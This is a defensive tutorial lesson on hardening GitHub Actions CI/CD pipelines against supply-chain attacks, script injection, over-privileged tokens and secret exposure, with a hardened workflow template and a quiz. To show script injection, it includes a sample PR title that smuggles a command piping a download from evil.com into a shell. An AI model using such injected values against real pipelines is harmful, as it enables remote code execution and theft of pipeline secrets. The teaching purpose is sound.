Your pipeline is a high-value target: it has secrets, pushes to registries, and can deploy to production. This lesson teaches you to defend it against supply chain attacks, injection, and credential theft.

Attack Surface of a CI/CD Pipeline

CI/CD Attack Vectors ① Dependency Poisoning Malicious npm/pip package executes in your pipeline ② Action Compromise Typosquat or hijacked action steals your secrets ③ Script Injection PR title/body interpolated into shell → arbitrary code execution ④ Over-Privileged Token GITHUB_TOKEN can write to any file ⑤ Secret Exposure Secret leaked in logs/artifacts ⑥ Fork PR Attack Fork runs workflow with access to secrets (if misconfigured)

The Hardening Checklist

1. Pin Actions to SHA (Not Tags)

- uses: actions/checkout@v4
- uses: some-user/action@main

Tags and branches can be force-pushed. @main can change any time.

- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
  # v4.1.1 pinned to exact commit

SHA is immutable. Even if the action repo is compromised later, your pin is safe.

2. Minimal Permissions

# No permissions block = read+write ALL
name: CI
on: push
jobs: ...
permissions:
  contents: read    # Only what's needed
  id-token: write   # Only for OIDC
  # Everything else = none

3. Prevent Script Injection

# If PR title is: "; curl evil.com | sh; echo "
- run: echo "PR: ${{ github.event.pull_request.title }}"

Untrusted input interpolated directly into shell = RCE

- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR: $PR_TITLE"

Environment variable = data, not code. Safe.

4. Timeouts & Concurrency

jobs:
  build:
    timeout-minutes: 15           # Never run forever
    runs-on: ubuntu-latest

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true      # Prevent resource exhaustion

5. Protect Workflow Changes

# .github/CODEOWNERS
.github/workflows/    @security-team @platform-team
.github/actions/      @security-team
Dockerfile            @security-team

Require review from security/platform team for ANY workflow change.

The Hardened Workflow Template

name: CI (Hardened)

on:
  push:
    branches: [main]
  pull_request:

# MINIMAL permissions
permissions:
  contents: read

# Prevent resource exhaustion
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      # Pin to SHA
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
        with:
          persist-credentials: false  # Don't leave creds around

      # Use env for untrusted input
      - name: Process safely
        env:
          COMMIT_MSG: ${{ github.event.head_commit.message }}
        run: echo "Building for commit: $COMMIT_MSG"

🧠 Recall Check

  1. Why pin actions to SHA instead of a version tag like @v4?
  2. What's the injection attack when you write run: echo "${{ github.event.pull_request.title }}"?
  3. What does permissions: contents: read prevent?
  4. Name three things CODEOWNERS should protect in a repo.
Reveal answers
  1. Tags can be moved (force-pushed) to point to different code. A compromised action maintainer can change what @v4 points to. SHA is immutable — it ALWAYS refers to the same commit.
  2. The PR title is user-controlled input. If it contains "; malicious-command; echo ", it breaks out of the echo and executes arbitrary commands with your pipeline's permissions and secrets.
  3. Without explicit permissions, the GITHUB_TOKEN defaults to read+write on many scopes. Setting contents: read means the token can only read code, not push commits, create releases, etc.
  4. .github/workflows/ (pipeline definitions), .github/actions/ (custom actions), Dockerfile (build definitions). These control what runs in your pipeline — unauthorized changes = supply chain attack.
Security isn't a feature you add later — it's a property of how you write pipelines from day one. The hardening checklist: pin SHAs, minimal permissions, env vars for untrusted input, timeouts, CODEOWNERS. Apply these to every workflow you write.

Next lesson: Image Signing & Verification — proving your images came from YOUR pipeline.